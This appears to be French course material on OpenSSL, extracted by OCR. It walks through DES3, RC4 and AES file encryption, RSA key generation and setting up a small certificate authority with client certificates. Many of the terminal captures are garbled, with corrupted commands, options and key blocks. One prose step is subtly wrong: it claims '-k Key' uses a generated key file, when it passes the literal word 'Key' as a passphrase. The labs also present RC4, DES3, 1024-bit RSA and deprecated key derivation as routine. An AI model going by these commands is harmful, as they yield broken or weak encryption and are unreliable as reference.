Répétez les étapes 325 en utilisant comme algorithme de chiffrement RC4 ;

o N o U koW

Générez une clé symétrique, nommé Key, de taille 512 bits ;

10. Répétez les étapes 325 en utilisant comme algorithme de chiffrement AES et la clé Key générée dans la question précédente.

on
—
-
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Correction

* Pour vérifier que OpenSSL est bien installé dans votre machine Ubuntu et déterminer sa version, il est possible de taper 'une des deux commandes suivantes:
* Openssl version
* Openssl version -a

* Les résultats des deux commandes précédentes sont illustrés dans les deux figures ci-dessous. Selon les résultats obtenus, la version OpenSSL est 1.1.1L :

:-$ openssl version -a
OpenSSL 1.1.11 24 Aug 2021
built on: Wed Mar 9 12:06:18 2022 UTC
: debian-amd64
bn(64,64) rc4(16x,int) des(int) blowfish(ptr)
gcc -fPIC -pthread -m64 -Wa,--noexecstack -Wall -Wa,--n
oexecstack -g -02 -ffile-prefix-map=/build/openssl-WgLPFV/openssl
-1.1.11=. -flto=auto -ffat-lto-objects -fstack-protector-strong -
Wformat -Werror=format-security -DOPENSSL TLS SECURITY LEVEL=2 -D
OPENSSL USE NODELETE -DL ENDIAN -DOPENSSL PIC -DOPENSSL CPUID 0BJ]
-DOPENSSL IA32 SSE2 -DOPENSSL BN ASM MONT -DOPENSSL BN ASM MONTS
-DOPENSSL BN ASM GF2m -DSHA1 ASM -DSHA256 ASM -DSHA512 ASM -DKEC
CAK1600 ASM -DRC4 ASM -DMD5 ASM -DAESNI ASM -DVPAES ASM -DGHASH A
SM -DECP NISTZ256 ASM -DX25519 ASM -DPOLY1305 ASM -DNDEBUG -Wdate
-time -D FORTIFY SOURCE=2
OPENSSLDIR: "/usr/lib/ssl"
ENGINESDIR: "/usr/1lib/x86 64-linux-gnu/engines-1.1"
Seeding source: os-specific

OpenSSL 1.1.11 24 Aug 2021

on
—
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Chiffrement avec DES3

* Pour créer un fichier, nommé message, il suffit d’exécuter la commande : nano message.

* Le contenu sera écrit dans le fichier crée, comme illustré dans la figure ci-dessous.

GNU nano 5.6.1 message *
Bonjour tout le monde !
Ce document est utilisé pour tester le chiffrement/déchiffrementf

* Pour chiffrer le fichier message avec l'algorithme de chiffrement DES3, il suffit d’exécuter la commande suivante : openssl enc -e -des3 -in message -out message.enc

$ openssl enc -e -des3 -1n message -out mess.
enter des-ede3-cbc encryption password:
Verifying - enter des-ede3-cbc encryption password:
#** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

* Pour déchiffrer le fichier message.enc, il suffit d’exécuter la commande suivante : openssl enc -d -des3 -in message.enc -out message.dec

. $ openssl enc -d -des3 -1n message.enc -out message.dec
enter des-ede3-cbc decryption password:

on
—
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*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
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Chiffrement/Déchiffrement avec DES3

Pour vérifier que les deux fichiers message et message.dec contiennent le méme contenu, il est possible d’exécuter la commande : diff message message.dec

Notez que la commande diff permet de comparer les deux fichiers ligne par ligne. Labsence de sortie prouve que les deux fichiers sont similaires.

;- $ diff message message.dec

%

Il est possible d’exécuter la commande tail =f message.enc pour afficher le contenu du fichier message.enc

:-$ tail -f message.enc
Salted

666PEGIE GOBBESEH3REE
66656 )
ZK§B2 §eQBI0Bs6B6BBhED0IMEEREXEhE{y 7 rABBDZ088 Bt TB5QWE*66B06VE ol

 Remarque

on
—
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* Le contenu du fichier message.enc n’est pas lisible a cause de I'absence de I'option -a.
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Chiffrement/Déchiffrement avec DES3 : Utilisation de I'option -a

* Pour chiffrer le fichier message avec l'option -3, il suffit d’exécuter la commande suivante : openssl enc -e -des3 -in message -out message2.enc -a

$ openssl enc -e -des3 -in message -out message2.enc -a
enter des-ede3-cbc encryption password:
Verifying - enter des-ede3-cbc encryption password:

*** WARNING : deprecated key derivation used.
Using -iter or -pbkﬂfz would be better.

* Pour déchiffrer le fichier message2.enc, il suffit d’exécuter la commande suivante : openssl enc -d -des3 -in message2.enc -out message2.dec -a

:-$ openssl enc -d -des3 -1n message2.enc -out message2.dec -a
enter des-ede3-cbc decryption password:
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

* Pour vérifier que les deux fichiers message et message2.dec contiennent le méme contenu, il est possible d’exécuter la commande : diff message message2.dec

1~ iiff message message2.dec
%

* |l est possible d’exécuter la commande tail -f message.enc pour afficher le contenu du fichier message2.enc

:-$ tail -f message2.enc
U2FsdGVkX18k/4DPIhOSImOtOLb8po6abIltdhFaWm7qWt5RX01gXL631z rgbW2m

on
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MeGrWFwlbXrv84cGGIb6GRBVPjVVtrsnCl1z8fST23mH9vSyp/HXCFCEAYWQGX1i1b
EWFgCSuﬁQNEDVh7+JmKiﬂk3szlH233LDTSeruSM4U1VkLJ83WF2w==
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Chiffrement/Déchiffrement avec RC4

* Pour chiffrer le fichier message avec l'algorithme de chiffrement RC4, il suffit d’exécuter la commande suivante : openssl enc -e -rc4 -in message -out messageRC.enc

$ openssl enc -e -rcd4 -in message -out messageRC.enc
enter rc4 encryption password:
Verifying - enter rc4 encryption password:

*** WARNING : deprecated key derivation used.
Using -iter or -pbkgfz would be better.

* Pour déchiffrer le fichier messageRC.enc, il suffit d’exécuter la commande suivante : openssl enc -d -rc4 -in messageRC.enc -out messageRC.dec

:$ openssl enc -d -rc4 -in messageRC.enc -out messageRC.dec
enter rc4 decryption password:
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

* Pour vérifier que les deux fichiers message et messageRC.dec contiennent le méme contenu, il est possible d’exécuter la commande : diff message messageRC.dec

. § diff message messageRC.dec

$

on
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Génération d’une clé symétrique et chiffrement/déchiffrement AES

* Pour générer une clé symétrique, nommeé Key, de taille 512 bits, il suffit d’exécuter la commande : openssl rand -out Key 512
* Pour chiffrer le fichier message avec l'algorithme AES-256 et la clé Key, il suffit d’exécuter la commande suivante :
openssl aes-256-cbc -in message -out messageAES.enc -e -k Key
* Pour déchiffrer le fichier messageAES.enc, il suffit d’exécuter la commande suivante : openssl aes-256-cbc -in messageAES.enc -out messageAES.dec -d -k Key
* Pour vérifier que les deux fichiers message et messageAES.dec contiennent le méme contenu, il est possible d’exécuter la commande : diff message messageAES.dec

* Les résultats de I'exécution des commandes précédentes sont illustrés dans la figure ci-dessous.

.- $ openssl rand -out Key 512

.- $ openssl aes-256-cbc -in message -out messageAES.enc -d -k Key
bad magic number
Help :-$ openssl rand -out Key 512

.- $ openssl aes-256-cbc -in message -out messageAES.enc -e -k Key
*** WARNING : deprecated key derivation used.

Using -iter or -pbkdf2 would be better.
. $ openssl aes-256-chc -in messageAES.enc -out messageAES.dec -d -k Key
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
. $ diff message messageAES.dec

$

on
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GENERATION DE CLE PRIVEE/PUBLIC RSA

Compeétences visées :

* Générer une paire de clé privé/publique en utilisant
I'algorithme RSA

Recommandations clés :

*  Maitriser le principe d’un systeme de chiffrement
asymeétrique (en particulier I'algorithme RSA)
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1. Pour le formateur

. 'apprenant doit étre capable de générer une paire de clé privée/publique

2. Pourl'apprenant

. Il est recommandée de maitriser le principe de l'algorithme RSA
. Il faut utiliser les commandes fournies au début de l'activité
. Il est également recommandée de suivre les étapes décrites dans I'énoncé

3. Conditions de réalisation :

’ . VirtualBox installé

. Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2

4. Criteres de réussite:

. Générer avec succes une paire de clé RSA (privée/publique)




Activité 3 orppr  WE Bﬂfg EE.GEE >
Génération de clé privée/public RSA NS

Présentation des commandes de génération de clés RSA dans OpenSSL

* Lobjectif principal de cette activité est de générer le couple de clé privée/public de I'algorithme RSA avec OpenSSL.

* Le tableau ci-dessous fournit les commandes nécessaires pour la gestion de clés RSA :

openssl genrsa -out <fichier_rsa.priv> <size> Génere la clé privé RSA de taille size (512, 1024, etc.).

openssl rsa -in <fichier_rsa.priv> -des3 -out <fichier.pem> Chiffre la clef privé RSA avec l'algorithme DES3.

Stocke la clé publique dans un fichier a part. Cette commande permet de créer la

openssl rsa -in <fichier_rsa.priv> -pubout -out <fichier_rsa.pub> . . N o
P _fsa-p P _fsa-p clé publigue associée a la clef privée RSA.

openssl rsa -in key -check -modulus -text Vérifie la clé privée RSA. Plusieurs options peuvent étre utilisées.

openssl rsa -pubin -in pubkey -text Vérifie la clé public RSA.

on
—
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Travail demandé

* Comme présenté précédemment, I'objectif principal de cette activité est d’utiliser OpenSSL pour générer une couple de clés privée/public RSA. Pour ce faire, vous étes
chargés de réaliser les taches suivantes :

1. Générez une clé privée, nommée Key.priv, de taille 1024 ;

2. Vérifiez la clé privée générée, utilisez toutes les options ;

Chiffrez la clef privée générée précédemment avec l'algorithme DES3. Le fichier résultant est nommeé Key.pem ;
Utilisez la commande cat pour afficher le contenu de la clé privée chiffrée Key.pem ;

Générez la clé publique correspondante, qui est nommée Key.pub ;

Vérifiez la clé publique générée ;

N oo u s~ W

Utilisez la commande cat pour afficher le contenu de la clé publique.

on
—
-
<
o
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Correction

* Pour générer la clé privée Key.priv, il suffit d’exécuter la commande suivante : openssl genrsa -out Key.priv 1024

:-$ openssl genrsa -out Key.priv 1024
Generating RSA private key, 1024 bit long modulus (2 primes)
R

R
e 1s 65537 (0x010001)

* Pour vérifier la clé privée générée, il suffit d’exécuter la commande : openssl rsa -in Key.priv -check . Il est aussi possible d’utilizer d’autres options.

Le résultat de la commande openssl rsa -in Key.priv -check Le résultat de la commande openssl rsa -in Key.priv -modulus

: $ openssl rsa -in Key.priv -check

RSA key ok
writing RSA key

BEGIN RSA PRIVATE KEY
MIICXAIBAAKBgQCnuorYyDVwyUwz9TVHe7swX5T/DFvakZ0pj ZOME3Xb8XTK+gHx
95qg1XZMq90obcgXDkswPn+1U5Tm] f3xtkrd2NOzuD6uLCOk5bF5ha0vPESt pSRMD
SORZFyDTcuD9UMIwwBHFDRWE cNsovTM8DDLTwdSAXTpSWMY5IUyvGES jUQIDAQAB
AoGADSU4XN2mOK6UnaYGLmw]061JUA/HbKy3Z4 /KObdzT+nKThtKsseHIGwxrU/T
0BVmeVcKHMX6uKq82qSX/G15FLs 1Inqpedyu08ICFISY6GKGT rMtyDnrzFeANIKXd
09a66ReDEgV3KTfsA+5uqqbgQ7Uaaltu+UFXEEDT+YR1b54KkCQQDT2gK4uzHO3Gwy
YaiAOpA2NkYg8plPi38R0o1dZg0iIyWP+MuD319KI8srgC1l0cauF9wru7hbOSEDyYX
qynl/dl]/AkEAyq6ijalYO+EqrSDMAngd0JGgxRadMIIc8daxu7Y1jhx0GoVWSFYg
+k+J9ShEuAuGmdeLyxcKU2 f xwRwNaZBCLwJASsWorkDLzKISwfI8AbPP2IKBCAGQ
I0YWXC5V1y9h+31xQHf+tQSt96hs+HSmOw82NSf1ELOCTVLSIAN2 jm8eywIAEEeW
pumuNNaQWveZClmé fyCzwSFH3u2UhZhID1rEUnXWnYQ4P/ 7 rBy/8VMS3QFES ro6x
m85t9eUTdf9a1G/R4QIBALtN22TsOgXKK1vIWC71UrrzzKAjmeKZpyxJDhOO2Kha
NTwHT2EVAKS39yOhpgPt1J8EZ FHUFXSL1UGD1R)SZxM=

END RSA PRIVATE KEY

1% openssl rsa -in Key.priv -modulus
Majulus-ﬁ BABA) 35768C94C33F535477BBB365F97FFAC5BEA9193A98D93 8F17“EJFHRIF1 :u1C%BDn1877UJC’Q7LCDFGF:D
/ dECEEOFABBBOBD9396C5E6168EBCF13CBA9ESL3 5 1C560D15BA70DB28BD33 3
ClDdSBCSBASESS ACAFLB4EG351
wrlting RSA key
BEGIW RSA PRIVATE KEY

tpSRMD
1DAQAB

on
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‘U pcPLlJSE HUFXS

v kS Y
----- END PbA PRIVATE KEY
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Chiffrement/déchiffrement asymétrique grace a openSSL

* Pour chiffrez la clef privée générée précédemment avec l'algorithme DES3, exécutez la commande suivante : openssl rsa -in Key.priv -des3 -out Key.pem

o =]

% opehssl rsa -in Key.priv -des3 -out Key.pem

writing RSA key
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:

* Pour afficher la clé privée chiffrée Key.pem, exécutez : cat Key.pem

:-$ cat Key.pem
BEGIN RSA PRIVATE KEY
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,B6FBE9608B5A1449

IgESVrUknxfZLLhTIRZ1LI7+IML5alTmzvTvTYD56ns/V+ibCl4vintMkWeymlh9
0eU3Wm3ILupTAsj6GpzSubgQZKYy9riy4sgjdaZESnU3IhmNSE38c4Xrtrvos2uX
urdLD46B81+qUBqUQzImgxt rmOHKKmSuU®T7v28+VQAKhriETXWF4VaabA2¢cih8ES
f+tzgPFBKKOdVAr8CNVV6Rs3sMGo41w7stIyfsX4UIRDTpdAg+6bZiWnZ2AVXz5Z
iBINPDsT8DUPOLOvyDvpD/9GGH]KNETE64XR6 LXUTKBp r8dwZILwDpS5Vp/XjsrgQw
BHegNzR1BmPY151pACOMw4+3upZG3uOFiyMQcIPa+2Rz6+6G+5]219XSYM+plO6X
vtZ2oLTIKASgMhmc j6GalFFog2PHg4/8G17sYovdvqjNfg3qp3UpKXilHAeQcmSt
k7Mxp1lr8SjTOWjQQ31Dy8GyGx jkqzcZBgolmuOnMKHOX+pOBPANVXZK2VFNOGE6]
JmjezbGzV6iVUbYjbRulebl jscIvMVmsX0D15g0udD31lenl j4ADkVH20NgMsPgL7X
jPoBNzYe5UWPmALqCFpfXF9ekt9mrgGleBocZujN1 fR8DXXe+nehgKo8UI1K3rdI
sz9whH1213rp37pqa8ZgfOFXJ/pGoPOVASNSRA0037FOQu42q5jHECSTDVIr1CTUK
61S0AxxaSwlDA1QqqgmRFQQ]jF9b7fSMS/c00Y7JdAkbj TGLg/ER5Ink41Lc36/RO
Mrku7Alic2zVOhrXSk9S5VYgU38Y6RvIAPAHZr4tTttdwvlauYWrOA==
END RSA PRIVATE KEY

on
—
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Chiffrement/déchiffrement asymétrique grace a openSSL

* Pour générer la clé publique Key.pub, il suffit d’exécuter la commande suivante : openssl rsa -in Key.priv -pubout -out Key.pub

. ¢ openssl rsa -in Key.priv -pubout -out Key.pub

writing RSA key

* Pour vérifier la clé publique générée, il suffit d’exécuter la commande : openssl rsa -pubin -in Key.pub -text

:-$ openssl rsa -pubin -in Key.pub -text
RSA Public-Key: (1024 bit)
Modulus:
00:a7:ba:8a:d8:c8:35:70:¢9:4c:33:15:35:47:7b:
bb:30:5f:97:ff:0c:5b:ea:91:93:29:8d:93:8c:13:
7c:5b:fl:77:ed4:fa:al:f1:f7:9a:a0:d5:76:4c:ab:
da:1b:72:05:¢c3:92:cc:0f:9f:ed:54:e5:39:a3:7f:
7c:6d:92:b7:76:34:ec:ee:0f:ab:8b:0b:d9:39:6¢:
5e:61:68:eb:cf:13:cb:69:e5:13:03:b0:e4:59:17:
20:d3:72:e0:fd:50:¢c2:70:¢c0:11:c5:0d:15:ba:70:
:bd:33:3c:0c:32:d3:¢c1:d4:80:c5:3a:52:58:
:21:4c:af:18:4e:63:51
: 65537 (0x10001)
writing RSA key
BEGIN PUBLIC KEY
MIGTMAOGCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnuorYyDVwyUwz9TVHe7swX5f/
DFvgkZOpj ZOME3xb8XTk+qHx95qg1XZMg9obcgXDkswPn+1U5Tmj f3xtkrd2NOzu
D6uLC9k5bF5ha0vPE8tpSRMDSORZFyDTcuD9UMIwwBHFDRW6cNsovTM8DDLTwdSA
XTpSWMY5IUyvGE5jUQIDAQAB
END PUBLIC KEY

on
—
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<
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GENERATION DES CERTIFICATS AVEC
OPENSSL

Compeétences visées :

*  Configurer OpenSSL

* Générer des certificats auto-signés

*  Générer des certificats clients

Recommandations clés :

* Maitriser le principe des certificats numériques

e  Maitriser les notions de base d’une PKI
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1. Pour le formateur

. Lapprenant doit étre capable de configurer le fichier openssl.cnf

. Il doit étre également capable de générer un certificat auto-signé pour le CA et Des
certificats clients

2. Pourl'apprenant

. Il est recommandée de maitriser les notions de base d’une PKI
. Il faut utiliser les commandes fournies au début de I'activité
. Il est également recommandée de suivre les étapes décrites dans I'’énoncé
3. Conditions de réalisation :
’ . VirtualBox installé
. Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2.
. Réalisation des activités précédentes (2 et 3) avec succes.

4. Criteres de réussite:

. Configurer avec succes l'outil OpenSSL
. Avoir un certificat auto-signé

. Avoir un certificat client signé par le CA
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Présentation des objectifs

* Lobjectif principal de cette activité est de mettre en place une plateforme PKI a I'aide d’OpenSSL afin de générer des certificats clients X.509.

* Cette activité sera organisée en trois étapes :

* Etape 1 : Configuration du fichier openssl.cnf;

 Etape 2 : Génération d'un certificat auto-signé (le certificat du CA) ;

* Ftape 3 : Génération des certificats clients.

on
—
-
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Etape 1 : Configuration du fichier openssl.cnf

* Le but de cette étape est d'éditer le fichier de configuration 'openssl.cnf’. En fait, a traves ce fichier, il est possible de définir certaines informations importantes. Il est
également possible de définir les chemins des principaux répertoires de la plateforme PKI a mettre en place.

* A cet effet, il vous est demandé de réaliser les taches suivantes :
1. Modifiez le fichier de configuration openssl.cnf qui se trouve dans le chemin suivant /etc/ssl/openssl.cnf comme suit :

i. Dans la section relative au CA [ CA_default ]

[ CA_default ]

dir = /etc/activite # Le dossier ou tout est gardé

certs = Sdir/certs # Ou les certificats délivrés sont conservés
crl_dir = Sdir/crl # Ou sont conservées les crl émises
database = Sdir/index.txt # Fichier d'index de la base de données.
new_certs_dir = Sdir/newcerts # Emplacement par défaut pour les nouveaux certificats.
certificate = Sdir/cacerts/ofpptcacert.pem # Le certificat du CA

serial = Sdir/serial # Le numéro de série actuel

crinumber = Sdir/crinumber # Le numéro crl actuel

crl = Sdir/crl.pem # Le CRL actuel

private_key = Sdir/private/ofpptcakey.pem # La clé privée

iii. Dans la section [req] remplacer les valeurs des champs suivants par

on
—
-
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default_bits = 1024
default_keyfile = privatekey.pem




.y N 000
Activite 4 '. orerr  WE BﬂfOECEE >
Génération des certificats avec OpenSSL /

Etape 1 : Configuration du fichier openssl.cnf

iii. Dans la section [req _distinguished_ name]

countryName_default = MA
stateOrProvinceName_default = MAROC
localityName_default = NEW_CITY
0.organizationName_default = OFPPT
organizationalUnitName_default = SECURITY

2. Créez le répertoire activite, sous /etc
3. Créez tous les répertoires (certs, cacerts, private, reqgs) sous /etc/activite comme configurés dans le fichier openssl.cnf
*  private contient des fichiers de clés privées RSA ;
e certs contient des certificats d'entité finale X.509 ;
* newcerts contient les nouveaux certificats ;
e cacerts contient des certificats CA fiables ;
*  regs contient des demandes de certificat X.509.

4. Créez les deux fichiers suivants sous /etc/activite :

on
—
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* index.txt qui contient la liste des certificats créés ;

*  serial qui contient le prochain numéro de série a utiliser.




., A\ 0
Activité 4 | orerr  WE BﬂfOECEE >
Génération des certificats avec OpenSSL /

Etape 1 : Configuration du fichier openssl.cnf

5. Pour initialiser les fichiers cités précédemment, vous devez exécuter les commandes suivantes :
*  sudo touch index.txt
*  sudo touch serial

*  #echo 01 > serial (cela créera un fichier contenant le numéro 1 comme premier numéro de série pour le futur certificat).

on
—
-
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Etape 2 : Génération d'un certificat auto-signé
* Cette étape vise a générer le certificat du CA (Certification Autority) qui est un certificat auto-signé.

* Le tableau ci-dessous fournit les commandes nécessaires pour la génération d’un certificat auto-signé.

Permet de générer une clé privée CApriv.pem de taille size et chiffrée avec l'algorithme

openssl genrsa <-algo> -out <CApriv.pem> <size> .
P g g priv-p de chiffrement algo.

-new -x509 : new combiné avec x509 signifie
gu'un certificat X509 auto-signé sera généré.

Permet de générer un certificat -days : indique le nombre de jours de validité
autosigné CA, nommé du certificat.

CA_certificate.pem d’une validité
certificate_validity_period en utilisant
la clé privé CApriv.pem.

openssl req -new -x509 -days<certificate_validity_period> -
key<Capriv.pem> -out<CA_certificate.pem> -key : pointe sur la paire de clés RSA
Noté qu’il faut spécifier le chemin (relatif ou

absolue) de la clé.

-out : définit le nom du fichier de certificat.

on
—
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Etape 2 : Génération d'un certificat auto-signé
* |l vous est demandé dans cette étape de réaliser les taches suivantes :
1. Générez une clé privée pour le CA, tel que
* Lenom delaclé est: ofpptcakey.pem;
* Lataille de la clé est : 2048 bits ;
* Laclé est chiffrée avec l'algoritghme DES3 ;

* Laclé doit étre enregistrée dans 'emplacement adéquat : /etc/activite/private.

2. Générez le certificat auto-signé du CA, en utilisant la clé privée générée précédemment, tel que :
* Le nom du certificat est : ofpptcacert.pem ;
* Lavalidité du certificat est : 4 ans (365joursx4=1460jours) ;
* Le certificat doit étre enregistré dans 'emplacement adéquat : /etc/activite/cacerts ;

* Noté que lors de la génération du certificat, vous devez conserver les informations du CA par défaut qui ont été configurés précédemment dans le
fichier openssl.cnf.

3. Affichez le certificat généré avec la commande cat;

on
—
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4. Visualisez le certificat généré en mode graphique.
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Etape 3 : Génération des certificats clients

* Cette étape vise a générer les certificats clients qui doivent étre signés par un CA.

* Le tableau ci-dessous fournit les commandes nécessaires pour la génération d’un certificat client.

Permet de générer une clé privée clientpriv.pem de taille size et chiffrée avec

openssl genrsa <-algo> -out <clientpriv.pem> <size> . .
P g & priv-p I'algorithme de chiffrement algo.

-new : combiné avec req permet la génération

Permet de générer une requéte client, , A
d’une nouvelle requéte.

nommé clientrequest.pem en utilisant

la clé privé clientpriv.pem. -key : pointe sur la paire de clés RSA

openssl req -new -key <clientpriv.pem> -out <clientrequest.pem> A o i Noté qu’il faut spécifier le chemin (relatif ou
Cette requéte est générée aupres du

CA pour l'obtention d’un certificat
client par la suite. -out : définit le nom du fichier sortant.

absolue) de la clé.

Permet de générer un certificat client clientcertificate.pem signé par le CA a partir de la

openssl ca -in <clientrequest.pem> -out <clientcertifcate.pem> R . .
requéte client clientrequest.pem.

Permet de vérifier la validité du certificat client clientcertifcate.pem au prés du CA.

£ _CAfile < - . s <cli . . S = ie
openssl verify -CAfile <CA_certificate.pem> <clientcertifcate.pem Sachant que CA_certificate.pem est le certificate du CA.

on
—
-
<
o
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Etape 3 : Génération des certificats clients

* |l vous est demandé dans cette étape de réaliser les taches suivantes :
1. Générez une clé privée pour un client A, tel que
* Lenom de laclé est : ClientAkey.pem ;
* Lataille de la clé est : 1024 bits ;
* Laclé est chiffrée avec l'algoritghme DES3 ;

* Laclé doit étre enregistrée dans 'emplacement adéquat : /etc/activite/private.

2. Générez la requéte client, en utilisant la clé privée générée précédemment, tel que :
* Le nom du fichier contenant la requéte est : ClientArequest.pem ;
* Lafichier de la requéte doit étre enregistrée dans I'emplacement adéquat : /etc/activite/regs ;

* Noté que lors de la génération de la requéte client, vous devez conserver les informations générales mais il faut saisir certains informations du client.
Pour ce faire :

* Le nom du client doit étre saisi dans le champ Common Name. La valeur attribuée peut étre ClientB.

* Le mail du client doit étre saisi dans le champ Email Address . La valeur attribuée peut étre clientA@gmail.com.

on
—
-
<
o
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Etape 3 : Génération des certificats clients

3. Générez le certificat du client A qui est signé par le CA, en utilisant la requéte générée précédemment, tel que :
* Le nom du certificat est : ClientAcertificate.pem
* Le certificat doit étre enregistré dans I'emplacement adéquat : /etc/activite/certs

Vérifiez la validité du certificat généré ;

Affichez le certificat généré avec la commande cat;

Visualisez le certificat généré en mode graphique ;

N ok

Répétez les taches précédentes (1> 7) pour générer un deuxiéme certificat client pour un client B.

on
—
-
<
o
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Etape 1 : Configuration du fichier openssl.cnf

La figure ci-dessous illustre la configuration finale de la section CA [ CA_default ] La figure ci-dessous illustre la configuration finale de la section [req] dans le
dans le fichier openssl.cnf fichier openssl.cnf

default bits 1024

default keyfile privatekey.pem

distinguished name req _distinguished name

attributes req attributes

x509 extensions = v3 ca # The extensions to add to the self signed cert

dir
certs
crl dir
database

/etc/activite # Where everything is kept
$dir/certs # Where the issued certs are kept
$dir/crl # Where the issued crl are kept
$dir/index. txt # database index file.

new certs dir $dir/newcerts # default place for new certs.

certificate
serial
crlnumber

$dir/cacerts/ofpptcacert.pem # The CA certificate
$dir/serial # The current serial number
$dir/crlnumber # the current crl number

crl $dir/crl.pem # The current CRL
private key $dir/private/ofpptcakey.pem# The private key

x509 extensions = usr_cert # The extensions to add to the cert

on
—
-
<
o
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Etape 1 : Configuration du fichier openssl.cnf

La figure ci-dessous illustre la configuration finale de la section [req _distinguished _ name]
dans le fichier openssl.cnf

countryName
countryName default
countryName min
countryName_max

Country Name (2 letter code)
MA

P

2

State or Province Name (full name)
MAROC

stateOrProvinceName
stateOrProvinceName default

localityName Locality Name (eg, city)

NEW CITY

localityName default

0.organizationName
0.organizationName default

Organization Name (eg, company)
OFPPT

on
—
-
<
o

organizationalUnitName Organizational Unit Name (eg, section)
organizationalUnitName default SECURITY
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Etape 1 : Configuration du fichier openssl.cnf

* La figure suivante illustre le résultats des commandes permettant la création des répertoires activité, sous /etc ainsi que certs, newcerts, cacerts, private, et regs sous
/etc/activite comme configuré dans le fichier openssl.cnf.

¢ Les commandes exécutées sont les suivantes :

* cd /etc
 sudo mkdir activate . $ cd /etc/
. cd activate ; $ sudo mkdir activite
$ cd activite
$ sudo mkdir private

sudo mkdir private

e sudo mkdir certs

$ sudo mkdir certs
$ sudo mkdir cacerts
$ sudo mkdir reqs

¢ sudo mkdir newcerts

¢ sudo mkdir cacerts

* sudo mkdir reqs

on
—
-
<
o
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Etape 1 : Configuration du fichier openssl.cnf

* Les figures ci-contre illustrent le résultats des commandes permettant la création et l'initialisation des fichiers index.txt et serial.
* Les commandes exécutées sont les suivantes :

* sudo touch index.txt

* sudo touch serial

* sudo su

* j#techo 01 > serial

e ftcat serial

$ sudo touch index.txt
$ sudo touch serial

root@osboxes:/etc/activite# echo 01 > serial
root@osboxes:/etc/activite# cat serial
01

on
—
-
<
o
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Etape 2 : Génération d'un certificat auto-signé

1. Pour générer la clé privée pour le CA en respectant I'’énoncé, il suffit d’exécuter la commande suivante : sudo openssl genrsa -des3 -out private/ofpptcakey.pem 2048

% sudo openssl genrsa -des3 -out private/ofpptcakey

.pem 2848
Generating RSA priuate r;, 2048 bit Lunq modulus (2 primes)

. RS sty
T T T +++++
e 1s 65537 [ﬂxﬂlﬂﬂﬂl?

Enter pass phrase for private/ofpptcakey.pem:

Verifying - Enter pass phrase for private/ofpptcakey.pem:

2. Pour générer le certificat auto-signé du CA, en respectant I'énoncé, il suffit d’exécuter la commande :
sudo openssl req -new -x509 -days 1460 -key private/ofpptcakey.pem -out cacerts/ofpptcacert.pem

: $ sudo openssl req -new -x509 -days 1460 -key priva
te/ofpptcakey. pem -out cacerts/ofpptcacert.pem

Enter pass phrase for private/ofpptcakey.pem:

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [MA]:

State or Province Name (full name) [MAROC]:
Locality Name (eg, city) [NEW CITY]:

Organization Name (eg, company) [OFPPT]:
Organizational Unit Name (eg, section) [SECURITY]:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

on
—
-
<
o
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Etape 2 : Génération d'un certificat auto-signé

Le résultat de I'affichage du certificat du CA en exécutant la commande Le résultat de l'affichage du certificat du CA en mode graphique
cat cacerts/ofpptcacert.pem =
ofpptcacert.pem O
: $ cat cacerts/ofpptcacert.pem
BEGIN CERTIFICATE ofpptcacert.pem

MIIDhzCCAm+gAwIBAQIUYLadqgoi74j0zgapxdFMQo3ceEQwDQYJIKoZIhvcNAQEL identity | Q I
BQAwUzELMAKGA1UEBhMCTUEXDj AMBgNVBAgMBU1BUk9DMREwDwWYDVQQHDAhORV T verified by
QOLUWTEOMAWGA1UECQwFTOZQUFQXETAPBgNVBASMCFNFQ1VSSVRZMB4XDTIyMDMx Expires: 03/18/2026
OTIwMDCOMFoXDTI2MDMxODIwMDcOMFowUzELMAKGALIUEBhMCTUEXDjAMBgNVBAgM ~ Detalils
BU1BUk9DMREwDwYDVQQHDAhORVdA QO LUWTEOMAWGALUECgWFTOZQUFQXETAPBgNV
BASMCFNFQ1VSSVRZMIIBIjANBgkqhkiGOwOBAQEFAAOCAQS8AMIIBCgKCAQEAD/03 Subject Name
60Xp+6NBw7sGT/SiPyiEWCRCj4YhBgl70rXt2a7YQeyPFol8HgG6eedANUTSGFIH gﬁ:t‘fgf;]ﬂ e oc
9hPVNn07S7YC5EI9aNG5LF4]eISGgNLcXsRvdsbSGm5kYySxQFWiy8pgs fmKZthj L (Locality): NEW CITY
tyzhaleV23jLnpjpOnPoh/y6np/vSMMs+wNVQih8+fMYbiCOmLIqgOmAwWQUD84/S o (Organization): AFPPT
Su6E8GKbmjgq44saCLvwdHEmXVdOeoJoaFBCWOOmM/WpNJz/04p5pj tNSCMLaxXQ47G OU (Organizational Unit); SECURITY
vfa+7vD5Gc5nLSo+QyiCpDHizASENj YwHsct8KRZCkjiidDKrqckissKS1FFQnmm Issuer Name
12zPdAKsRBU9fwtL7QIDAQABo1MwUTAdBgNVHQ4EFgQU9kg44XzWwn2rh5pLu3Fc C (Country): MA
yi0kT2QwHwYDVROjBBgwFoAU9kg44XzWwn2rh5pLu3FcyiOkT2QwDwYDVROTAQH/ ST (State): MAROC
BAUwAWEB/ zANBgkghkiG9w@BAQsFAAOCAQEAL5hOkPg2PUBO rEavB2sHICghmanM L {Locality): NEW _CITY

on vJPUuYIYiyN3cGQTmmhD4FehVppQMSeD8js,/W598KPPKagRRRv4AM8e3JvuG/h4nLy 0O (Organization): OFPPT

L 2pcqwdwFI8IvyDn9I0o03EQwYysS1hWv8x5y010jyaHttZK//Pil5eRiX3FSERLSS OU (Organzational Unit): SECURITY

|: RDO+dYBCTG7mIRDY7CePcYFcZqG/2g97W/YGeNBWoAjRIBrPnpbdd4 rvKEXyj XaA8 Issued Certlficate

(a'd 1RXQw+16zw6Z Tk f4Xt03Z+dXGh5DLt3EDMQvrwkeRTbmK4IIydSgx0rOEN9y/bHL Version: 3

